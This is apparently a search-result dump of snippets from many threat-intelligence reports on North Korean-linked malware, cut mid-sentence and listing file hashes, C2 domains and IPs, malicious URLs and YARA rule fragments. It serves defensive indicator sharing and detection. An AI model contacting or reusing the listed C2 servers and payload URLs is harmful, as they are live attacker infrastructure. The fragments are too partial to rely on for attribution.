973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c 0b5db31e47b0dccfdec46e74c0e70c6a1684768dbacc9eacbb4fd2ef851994c7 3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e…","…91EAF215BE336EAE983D069DE16630CC3580E222C427F785E0DA312D0692D0FD 927B3564C1CF884D2A05E1D7BD24362CE8563A1E9B85BE776190AB7F8AF192F6 973F7939EA03FD2C9663DAFC21BB968F56ED1B9A56B0284ACF73C3EE141C053C 99DBC6FE3C3E465052FCEFA1642861747DC9E069EEB244589B605BD710B1E0D1 A03D13C9825E150810E6E6AAF053D71EC5A53B86581414DD982A74D4A8BC5475…","…ebd6663d1df8228684a0b2146b68ce10169fc41c5e91c443fdf6f844f5ffeb62 Malicious Rheinmetall Document 4 SHA256 97515b70184f4553e5ae6b51d06a148b30d0a6632c077b98ad320e3c27cfd96f Malicious Rheinmetall Document 5 DOMAIN shopweblive.com Airbus CnC domain URL…","…MailPassView (SHA256): bc7bd27e94e24a301edb3d3e7fad982225ac59430fc476bda4e1459faa1c1647 MeshAgent (SHA256): 9757780860ec5637c412a8756f25c56f7d1d89358e447782164ba418def1c64e ChromeUpdate.exe (SHA256): 00bef70cd031a830f2ee1ec4ce750947a9c8838995289ecbb253426cca53d046 More on this topic Gray Rabbits…","…For instance, this decryption routine has also been used in malware (MD5 9758efcf96343d0ef83854860195c4b4) we reported earlier to our Threat Intelligence Portal customers on Andariel’s 2019 activity.…","…Size 232960 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 97aaf130cfa251e5207ea74b2558293d SHA1 c7e7dd96fefca77bb1097aeeefef126d597126bd SHA256 9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852 SHA512…","…b27881f59c8d8cc529fa80a58709db36 3c9e71400b72cc0213c9c3e4ab4df9df 0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8 61075faba222f97d3367866793f0907b File / Process name…","…The generation process is not exactly the same, but it utilizes a similar scheme as the old POORWEB malware (MD5 97b35c34d600088e2a281c3874035f59). HTTP boundary generation routine Moreover, there is additional code overlap with Document Stealer malware (MD5…","…4599a9421e83fb0e2c005e5d9ac171305192beabe965f3385accaf2647be3e8e 58fdc1b6ce4744d6331f8e2efc4652d754e803cae4cc16101fc78438184995e6 97ba8d30cf8393c39f61f7e63266914ecafd07bd49911370afb866399446f37d a80a35649f638049244a06dd4fb6eca4de0757ef566bfbe1affe1c8bf1d96b04 b8233fe9e903ca08b9b1836fe6197e7d3e98e36b13815d8662de09832367a98a…","…for re-evaluation of their implementations and increasing their solutions’ self-protection features. IOCS FileSHA256 FudModule.dll 97C78020EEDFCD5611872AD7C57F812B069529E96107B9A33B4DA7BC967BF38F Dbutil_2_3.sys 0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5 REFERENCES [1] Kálnai, P.…","…for Andariel IOCs. The following include observed MD5 hashes: 88a7c84ac7f7ed310b5ee791ec8bd6c5 6ab4eb4c23c9e419fbba85884ea141f4 97ce00c7ef1f7d98b48291d73d900181 079b4588eaa99a1e802adf5e0b26d8aa 0873b5744d8ab6e3fe7c9754cf7761a3 0d696d27bae69a62def82e308d28857a 0ecf4bac2b070cf40f0b17e18ce312e6 17…","…Size 163840 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 e7718609577c6e34221b03de7e959a8c SHA1 97d24ac0d773f6260ab512fa496099b3289210db SHA256 bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 SHA512…","…Size 110592 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 633bd738ae63b6ce9c2a48cbddd15406 SHA1 9807eadca9016f843ee35426d06bf67860d9cc39 SHA256 134b082b418129ffa390fbee1568bd9510c54bfdd0e6b1f36bc7b8f867e56283 SHA512…","…SHA256 : a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 - Type : x86, dll NppAStyle.dll - MD5 : 98151ba9f3e0a55bba16c58428b3a178 - SHA256 : 61367c3a1d4c9ccaee568157bc4cf2feb997161ed3395878a448d8a2bf67dfa9 - Type : x64, dll - 1번 악성코드와 동일한 문자열 테이블 사용 추가 악성코드 다운로드지…","…6285ffb5f98d35cd98e78d48b63a05af6e4e4dea dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc 9833a4779b69b38e3e51f04e395674c6 8433a94aedb6380ac8d4610af643fb0e5220c5cb fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405…","…dfd677fdd31a aabaea027236e8605f4b89e3d9e2206993398af2 f8542e5567741c95a966cd1508c6d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f9800cff7d4fd26a2d9ccbaa1960d50b 9534d277d796890affadb3d3861d22a61bfdbbdd dd6bbd76378fce03e2b72c904832e576d4576354 Remediation Block all threat indicators at your…","…(MDS) Execution/EDR.Kimsuky.M11115 (EDR) MD5 075160d6c8d82b96d1ae7893761695a6 7c7b8dd6dd4ba7b443e84287671f0e79 9861999409cdbc1f7c4c1079d348697c 98764ae00cee9f2cc87530601c159387 ae6fdb8945991b587ab790c2121345ce URL…","…(EDR) MD5 075160d6c8d82b96d1ae7893761695a6 7c7b8dd6dd4ba7b443e84287671f0e79 9861999409cdbc1f7c4c1079d348697c 98764ae00cee9f2cc87530601c159387 ae6fdb8945991b587ab790c2121345ce URL…","…(2023.06.17.00) MD5 075160d6c8d82b96d1ae7893761695a6 7c7b8dd6dd4ba7b443e84287671f0e79 9861999409cdbc1f7c4c1079d348697c 98764ae00cee9f2cc87530601c159387 ae6fdb8945991b587ab790c2121345ce URL…","…文件名称 Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia (1).doc SHA256 9891b3d68ffbdb4a4bd0e7e49ba7b1e6d30ffb35935357551c312af5ae3a4f1e 创建时间 2020/11/27 06:28 图1.…","…73da3f74d176 3f17c5a7d1e7fd138163d8039e614b8a967a56cb baf4da6b89b7d7cbf24c9deef5984ef9dfd52e6a e5d97afa5f1501b3d5ec1a471dc8a3b8e2a84fdb 98bef63ce2a1f66592169996a9764be807afa181 URL…","…2e068beb40f8901b698d4fc2f5766564c8324d5ba95fb0a0ffa841f5da5c7e72 178b11323f921c0216bedefdd575a9c5a055b9fa 98e94d7be1d59c17f6bcf3ce09661f83 4f544e8756373520e98ed12b921ea7e05a93cf0152405ef3ac65133f7c8660a1 e0f4924aeb8befbf6a78411f910d2c148de7c5ff…","…d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2 95c8ffe03547bcb0afd4d025fb14908f5230c6dc6fdd16686609681c7f40aca2 99017270f0af0e499cfeb19409020bfa0c2de741e5b32b9f6a01c34fe13fda7d 7646c2afbc8b9719b0295e5a880bb89fb85bdd4346603a52768b161eda12e8be f12db45c32bda3108adb8ae7363c342fdd5f10342945b115d830701f95c54fa9…","…conclusions in terms of attribution. APPENDIX A: INDICATORS OF COMPROMISE MD5 Hashes 9cc6854bc5e217104734043c89dc4ff8 9914075cc687bdc352ee136ac6579707 e29fe3c181ac9ddbb242688b151f3310 9216b29114fb6713ef228370cbfe4045 8e32fccd70cec634d13795bcb1da85ff…","…and terminates. IOC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 MD5 35d60d2723c649c97b414b3cb701df1c SHA-1 9944ce9354fb8961826339770ffc118000058271 SHA-256 6dfce07abc39e5d6aebd74a1850ad65cc6ce10a8540b551c4f6d441ec4cf48ab DOMAIN antichrist.or.kr IP 114.207.244.99…","…If you are interested, please contact intelreports@kaspersky.com . File hashes JSE Dropper 995a0a49ae4b244928b3f67e2bfd7a6e [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse 52f1ff082e981cbdfd1f045c6021c63f 2026년 상반기 국내대학원 석사야간과정…","…Raspberry Robin 9fad2f59737721c26fc2a125e18dd67b92493a1220a8bbda91e073c0441437a9 Raspberry Robin 9973045c0489a0382db84aef6356414ef29814334ecbf6639f55c3bec4f8738f Table 1.…","…Freenki sha256: 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df Freenki 2016: 99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5 Network: - http://old.jrchina.com/btob_asiana/udel_calcel.php?fdid=[base64_data] - http://old.jrchina.com/btob_asiana/appach01.jpg -…","…5009c7d1590c1f8c05827122172583ddf924c53b55a46826abf66da46725505a 87c5d0c93b80acf61d24e7aaf0faae231ab507ca45483ad3d441b5d1acebc43c 99dbc6fe3c3e465052fcefa1642861747dc9e069eeb244589b605bd710b1e0d1 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 7667d1b8fcc4f712084e3e3f8b4ab505ab150c52aea7b219249ec508b4b0e224…","…927B3564C1CF884D2A05E1D7BD24362CE8563A1E9B85BE776190AB7F8AF192F6 973F7939EA03FD2C9663DAFC21BB968F56ED1B9A56B0284ACF73C3EE141C053C 99DBC6FE3C3E465052FCEFA1642861747DC9E069EEB244589B605BD710B1E0D1 A03D13C9825E150810E6E6AAF053D71EC5A53B86581414DD982A74D4A8BC5475 A64FA9F1C76457ECC58402142A8728CE34CCBA378C17318B3340083EEB7ACC67…","…2b254ae6690c9e37fa7d249e8578ee27393e47db1913816b4982867584be713a f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 99e2ebf8cec6a0cea57e591ac1ca56dd5d505c2c3fc8f4c3da8fb8ad49f1527e b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f b1ac26dac205973cd1288a38265835eda9b9ff2edc6bd7c6cb9dee4891c9b449…","…7c22515a47e94581cc7b62b88a205808 8efee9143c9bc4dc3cd8cf2ef5a87656 29b0a6b9608540b9446c0fb14a36f0b0 99ee7852b8041a540fdb74b3784d0409 C2 62.113.118.157 192.109.119.113 185.231.154.22 93.183.93.185 94.103.87.212 humanrights.co.ke…","…69 38f8fd9e8d27ae665b3ac0f56492f6c4 048e1698c4b711d1652df4bf4be04f9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7363c5cfd6fa24a86e542fcd05283e8 f6…","…Dropbox 파일 내부 파일 MD5 zzJG.zip 83972.tmp e96157d3b82008c5e3142a57584678cb G3892.tmp 99f9419d756729bc97d687f845d77783 zzG.zip 83972.tmp 2af6fb5bc3137eb297c6560e267d8193 G3892.tmp 9f1c9fc7aa773e7a86a79180c42887e1…","…variant of H0lyGh0st ransomware binaries.\" last_modified = \"2024-03-17\" author = \"@petermstewart\" DaysofYara = \"77/100\" sha256 = \"99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd\" ref = \"https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware\" strings: $pdb = \"M:\\\\ForOP\\\\attack(utils)\\\\attack…","…and protections to identify past related activity and prevent future attacks against their systems. Indicator Type Description 99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd SHA-256 Hash of BTLC_C.exe f8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86 SHA-256 Hash of HolyRS.exe…","…5: 9216198a2ebc14dd68386738c1c59792 6ad6232bcf4cef9bf40cbcae8ed2f985 d0f6cf0d54cf77e957bce6dfbbd34d8e 921aa3783644750890b9d30843253ec6 99fd2e013b3fba1d03a574a24a735a82 0b7dad90ecc731523e2eb7d682063a49 516beb7da7f2a8b85cb170570545da4b SHA1: 07b494575d548a83f0812ceba6b8d567c7ec86ed 2217c29e5d5ccfcf58d2b…","…96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59c328cd766f6ec0c9141bca7da6b807 5b…","…Name 9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852 Size 232960 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 97aaf130cfa251e5207ea74b2558293d SHA1…","…51.255.16.98. Att&ck IDs T1129, T1085, T1085, T1012 . Att&ck Mitre Techniques Sample from Report Torisma: Md5: 9a8403e2eb0324050e53f2c500bc8308 SHA1: 56b9de82c7ede1c231dc20ff0726bf416f13f312 SHA256: 7cd3ca8bdfb44e98a4b9d0c6ad77546e03d169bda9bdf3d1bcf339f68137af23 DNS requests…","…f8b060 d1baefd0bdc7f3b0369c5b7126c3b98469a518cf4db788fad1d243d8661a17b9 5bd48c2f61541124920d71e674ce3fd5927702f69c2baacc5a509debe3a893c8 9aab5a536b95963c4e3c990ab40bdeb25c850e2a862ea528b81d470d6acdadb1 Email glorify0717@gmail.com mypretty0914@gmail.com norelyeverland@hanmail.net poole.sion2015@yandex.com 参考链接…","…9] 와 같이 ‘ 서버와의 련결이 실패하였습니다 ’ 라는 오류 메시지 를 보여주는데 , 한국에서 사용하는 ‘ 연결 ’ 이라는 표현 대신 ‘ 련결 ’ 이라고 표기하고 있다 ( md5: 9ac2ffd3f1cea2e01ed77c2e7b4a29e7 ). [ 그림 9] 어색한 한국어 메시지 ( 회색 표시 부분 ) ■ 공격자 내부 도구 로 추정되는 프로그램 공격자 의 내부 도구로 추정되는 프로그램도 발견되었다 .…","…되도록 열지 않도록 주의가 필요하다. MD5 39b39ca9cbf9b271590d06dfc68a68b7 6b10482c939fc33c3a45a17f021df32b 851e33373114fef45d0fe28c6934fa73 9ac572bdca96a833a40edcaa91e04c2b c99f6d1c7c0d55ce1453dd08c87ee2b4 URL…","…Appendix D: Malware hash value Torisma 9ae9ed06a69baa24e3a539d9ce32c437a6bdc136ce4367b1cb603e728f4279d5 f77a9875dbf1a1807082117d69bdbdd14eaa112996962f613de4204db34faba7 7762ba7ae989d47446da21cd04fd6fb92484dd07d078c7385ded459dedc726f9…","…Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers…","…as seen in Table 4: MD5 ae27e617f4197cd30cc09fe784453cd4 SHA1 dc739ca07585eab7394843bc4dba2faca8e5bfe0 SHA256 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10 File Type PE32 executable (GUI) Intel 80386, for MS Windows PDB String C:\\Users\\zeus\\Documents\\Visual Studio…","…Hash-SHA256 7c465ea7bcccf4f94147add808f24629644be11c0ba4823f16e8c19e0090f0ff Hash-SHA256 9b60c622546dc45cca64df935b71c26dcf4886d6fa811944dbc4e23db9335640 Hash-SHA256 9fb39f162c1e1eb55fbf38e670d5e329d84542d3dfcdc341a99f5d07c4b50977 Hash-SHA256…","…30af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c Domains…","…646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa…","…highlighted earlier in this report. The file analyzed for this report had the following details: Filename history SHA1 9b86888a83dd0dd1c3a0929f1ea53b82 MD5 558ce5e8c0b1b0a76b88db087f0c92f7a62716fe SHA256 5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6 Notes…","…Size: 77.90 MB (81688694 bytes) MD5: 53d9af8829a9c7f6f177178885901c01 SHA-1: ae9f4e39c576555faadee136c6c3b2d358ad90b9 SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 ssdeep: 1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CYEshLqcuAX0I0…","…- 2603vvip고객현황.lnk Trojan.Agent.LNK.Gen 4A0E6C5932CEE062102E2D19E92C85A4 MD5 샘플 1 - user-config.js (로더) Trojan.Script.Agent 9BAED08DF363098F0107315430A2FDBB MD5 샘플 1 - Web12.config (암호화된 페이로드) Trojan.BIN.Encoded 4C3FB7A00EDE6A719450C63A1B6E7E1D MD5 샘플 2 - 고객현황_202605.lnk…","…as seen in Table 2: MD5 42fbea771f3e0ff04ac0a1d09db2a45e SHA1 2b6b6f24f58072a02f03fa04deaccce04b6bb43b SHA256 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd File Type PE32 executable (GUI) Intel 80386, for MS Windows PDB String C:\\Users\\zeus\\Documents\\Visual Studio…","…(GUI) Intel 80386, for MS Windows MD5 48971e0e71300c99bb585d328b08bc88 SHA1 ec8d7264953b5e9e416b7e8483954d9907278f2f SHA256 9bf8e8ac82b8f7c3707eb12e77f94cd0e06a972658610d136993235cbfa53641 SHA512…","…reference = \"https://twitter.com/neelmehta/status/864164081116225536\" author = \"Kaspersky Lab\" version = \"1.0\" hash = \"9c7c7149387a1c79679a87dd1ba755bc\" hash = \"ac21c8ad899727137c4b94458d7aa8d8\" strings: $a1={ 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75 04 24 01 0C 01 46 89…","…md5 8ed89d14dee005ea59634aade15dba97 SHA256 9c906c2f3bfb24883a8784a92515e6337e1767314816d5d9738f9ec182beaf44 Creation Time 2020-08-18 17:15:00 악성 VBA스크립트가 실행되어 (분석 과정 생략) Users\\user\\videos경로에 localdb.db파일을 생성하고 실행한다.…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747}\", \"file\": {\"hash\": {\"md5\": [\"f90b544f89cfbe38aee18024d7c39e40\"], \"sha1\": [\"182760cbe11fa0316abfb8b7b00b63f83159f5aa\"], \"sha256\":…","…// stager_win.ps1 SHA256:5d036408ac731df4f2909385ca5c3a75766ab528bcd784668a4997cfa2acd947 // vscode-bootstrap.ps1 SHA256:9cb437ca697a7550163c4a66e8b766952d3ddf94f714bafac91132ad37e5ddfa // vscode-bootstrap.sh MD5:72c3eea054187471a5d00b8d7c721b42 // deobf_ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 //…","…2017-01-28 11:58 9914075cc687bdc352ee136ac6579707 fdsvc.exe 2016-08-26 04:19 Win64 EXE 60 KB 2017-02-05 15:14 9cc6854bc5e217104734043c89dc4ff8 fdsvc.dll 2016-08-26 04:11 Encrypted 470 KB 2017-02-05 15:15 Of the hashes provided, only three samples could be…","…6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48 Hashes detected as JS_DLOADER.ZBEL-A…","…SHA256 19ee7d139908a889d08508dd4225f2d27958ac2c8b7ff18a97507f7de8ce79bc SHA1 ff080176ab9e51ace68dbe3a56629168b41fa1fc MD5 9d2e5f9274b25740131f3b6139e3c3ce File Type Win64 EXE Compile Time 2021:05:25 02:20:44+01:00 Much like BLUELIGHT, this malware family uses cloud services…","…0efc5c754b6739be19d5478fdffde7f5 c1f725abaf4e82ff1a4042f84d226643 4da5e7d083af1ba3872c205ff27de8cc 9d555c1093ff84ac3d442b1a0617f7ef Domain： myemail.works anicloud.ru cloud-sheet.net sharesvr.net filehost.network msftoffice.com IP： 84.201.189.216…","…IoCs File hash CURKON 9d6c79c0b395cceb83662aa3f7ed0123 2189aa5be8a01bc29a314c3c3803c2b8131f49a84527c6b0a710b50df661575e 3334d2605c0df26536058f73a43cb074 ba59f1ece68fa051400fd46467b0dc0a5294b8…","…powershell script ] 222.122.86.177 Document 2 .hwp file : — 계정기능 제한 안내.hwp hashes: MD5 c155f49f0a9042d6df68fb593968e110 SHA1 9d6fa64e0c0f3ec7442cb72bfaa016c3e3d7ff52 SHA256 81ee247eb8d9116893e5742d12b2d8cd2835db3f751d6be16c2e927b892c5dc7 DNS requests domain ocsp.digicert.com Connections ip…","…54744204.bat 7 MD5 217ee812138da82ff8d19af26c164187 54312804.bat 8 MD5 9d7802069d563b1e909f2c636bb55deb 53452693.bat 9 MD5 40e77deae9d81d0924bf7c1d6afbb3f7 33283112.bat 10 MD5…","…ssdeep: 1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CYEshLqcuAX0I0 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa Tags: trojan macho Name: Esilet-tmpzpsb3 Size: 510.37 KB (522620 bytes) MD5: 1ca31319721740ecb79f4b9ee74cd9b0 SHA-1:…","…14d439 8b2871e08f6a88df33ac198a2db87bc44de19100da44e7c071112da07549f204 8eec3ac9f7d1ac64fc7397ba57cdac4f56959d1512f71dded60e831a26e0762e 9dc813afe2ff8963696691d5092b9ea779048c63ba1a8232e8ae81f0f1a4765a b8bc45d9e038dc32b2cdee90f196103098de660670d72de95258cd71a9718613 b94a13586828f8f3474f7b89755f5e7615ff946efd510a4cca350e6e1b4af440 bab26c…","…0d75d429c1cc3550b2961be84af777f8bed287a44a144b7a47988c601e1e9a27 Memory Dump Samples from US-CERT FASTCash Report (SHA-256) 9ddacbcd0700dc4b9babcd09ac1cebe23a0035099cb612e6c85ff4dffd087a26 1f2cd2bc23556fb84a51467fedb89cbde7a5883f49e3cfd75a241a6f08a42d6d Packed Sample from Polish banks attack (SHA-256)…","…(GUI) Intel 80386, for MS Windows MD5 5c0a4f9e67ced69eaea17092444b2c1a SHA1 8462cb955a6c459036a3e27d59b1b8b6cc9acfd5 SHA256 9ddacbcd0700dc4b9babcd09ac1cebe23a0035099cb612e6c85ff4dffd087a26 SHA512…","…languages in both the document lures and the email correspondence. SHA256 Subject Sender File name Initial C2 Domain 9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Russia – North Korea – Republic of Korea – trade and economic relations – investments.…","…Lilith RAT 22ddecca88cc964f4357458467acbcb881b0ebb77875525c17bef30299f03497 SHA-256 AutoIt Amadey 9e1a3653029b5378736ea1debba44cd81988de73b6d8689f9eba792e719da79a SHA-256 AutoIt…","…Variant using North Korean Red Cross Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key.…","…(GUI) x86-64, for MS Windows MD5 668d5b5761755c9d061da74cb21a8b75 SHA1 49da356fd99d4b7c8cb4e77f89877ee41f8948ca SHA256 9e4bd9676bb3460be68ba4559a824940a393bde7613850eda9196259e453b9f3 SHA512…","…data required to install CelasTradePro., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200 MD5 9e740241ca2acdc79f30ad2c3f50990a SHA1 0c5e4cec03d2eea2b1dd5356fe05de64a0278cd6 SHA256 6ee19085ad5c17f989616d17ef68041910b3d0cbcf7e08cc7d7c1a1cb09e6b69 SHA512…","…Over C2 Channel T1041 Kimsuky exfiltrates data over its C2 channel Indicators of Compromise Indicator Type Description 9e75705b4930f50502bcbd740fc3ece1 MD5 Initial installer 27ef6917fe32685fdf9b755eb8e97565 MD5 Initial installer 7b6d02a459fdaa4caa1a5bf741c4bd42 MD5 Initial installer…","…Size 3133440 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 cca9fbb11c194fc53015185b741887a8 SHA1 9e7bf03a607558dafe146907db28d77fda81be22 SHA256 fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac SHA512…","…침해 지표 (Indicator of Compromise) MD5 9e94126e8a26efd10b2a5b179d64be90 35b4f28dd2d50dbf48e5c63c3ef5efb7 66e8096b9b061550314a82654ce0fabd 71d5270d1a165bb6dec144e16089450d 456d05566fc3391e195a5f9cb346c92c…","…(GUI) x86-64, for MS Windows MD5 3122b0130f5135b6f76fca99609d5cbe SHA1 ce6bc34b887d60f6d416a05d5346504c54cff030 SHA256 9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e SHA512…","…98 0cbc6df98ce1d302f51714e100560a4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 959e71b8f743a202eb80b65acbb60f7c d8508b3c7ba4f2b9ed1cf3ff28fd6b83 22a477da55c7391dd0fc6176241d108e SHA-256…","…정보 파일명 전단지 자료 , 부품 구매처 , 풍향 정보 .doc 경로 d: \\ HighSchool \\ version 13 \\ 2ndBD \\ T+M \\ T+M \\ Result \\ DocPrint.pdb MD5 9ef215b13d1e0140ac563d6cdc7a1495 [ 표 23] ‘ 전단지 자료 ~ .doc ’ 를 통해 설치되는 악성파일 정보 파일명 171030_ 북한이탈주민정착지원사무소 _ 일반임기제 _6 급 ( 진로지도 _ 분야 )_ 경채 _ 공고문 .hwp…","…Size 13498368 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 0ae8a7b6b4d70c0884095629fc02c19c SHA1 9efa2d68932ff24cb18eb7e35aa5f91ce99596e8 SHA256 618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 SHA512…","…99f9419d756729bc97d687f845d77783 zzG.zip 83972.tmp 2af6fb5bc3137eb297c6560e267d8193 G3892.tmp 9f1c9fc7aa773e7a86a79180c42887e1 zzJG_2.zip 83972.tmp 5fca1117c0e5ee6de3c169eebc903227 G3892.tmp 1e9d94d88fdac3c4a0a47a3a1d07e329…","…SHA256 e162d64d3e69cea868f62f63906098de310fad9fa1ca693409a65de89760eaaa Scheduled Task Registration Script for VelvetCake SHA256 9f2cc22a74499b0a5b39a8f4732ff74d7338addd972387302016ba5a026936ac Scheduled Task Registration Script for VelvetCake SHA256 d3e599af47b110ab526ee38edaae68df3d8ab257e689e6f6f84d6db7d3ba5937…","…Execution/MDP.Cmd.M4230 MD5 0f41d386e30e9f5ae5be4a707823fd78 726af41024d06df195784ae88f2849e4 89c0e93813d3549efe7274a0b9597f6f 9f560c90b7ba6f02233094ed03d9272e URL http://mpevalr.ria.monster/SmtInfo/demo.txt http://mpevalr.ria.monster/SmtInfo/show.php AhnLab TIP 를 구독하시면 연관 IOC…","…AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C DC72D464289102CAAF47EC318B6110ED6AF7E5E4 9F7B4004018229FAD8489B17F60AADB3281D6177 2A2839F69EC1BA74853B11F8A8505F7086F1C07A 8EDB488B5F280490102241B56F1A8A71EBEEF8E3 Code signing certificate serial numbers…","…implants to find out more details about the toolset used in the supply chain attack. Gopuram indicators of compromise MD5 hashes 9f85a07d4b4abff82ca18d990f062a84 96d3bbf4d2cf6bc452b53c67b3f2516a File paths C:\\Windows\\System32\\config\\TxR\\<machine hardware profile…","…IOCs MD5 aefa2caddfeb3bccb1e696cc2cd6955a e0d73c941e3792f7c753724c0c064de8 9f8e51f4adc007bb0364dfafb19a8c11 db315d7b0d9e8c9ca0aa6892202d498b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 79…","…Hash-SHA256 9b60c622546dc45cca64df935b71c26dcf4886d6fa811944dbc4e23db9335640 Hash-SHA256 9fb39f162c1e1eb55fbf38e670d5e329d84542d3dfcdc341a99f5d07c4b50977 Hash-SHA256 b47e281bfbeeb0758f8c625bed5c5a0d27ee8e0065ceeadd76b0010d226206f0 Hash-SHA256…","…Size 214608 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 6c2d15114ebdd910a336b6b147512a74 SHA1 9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2 SHA256 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d SHA512…","…Size 265216 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 bda82f0d9e2cb7996d2eefdd1e5b41c4 SHA1 9ff715209d99d2e74e64f9db894c114a8d13229a SHA256 f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de SHA512…","…689cfaa9319f3f7529a31472ecf6b2e0ca6891b736de009e0b6c2ebac958cc94 c6a48365c3db9761bd60981bdcdd87aced23d8e60067caa30fee501bf4b47b84 a03d13c9825e150810e6e6aaf053d71ec5a53b86581414dd982a74d4a8bc5475 KANDYKORN SHA256 hash: 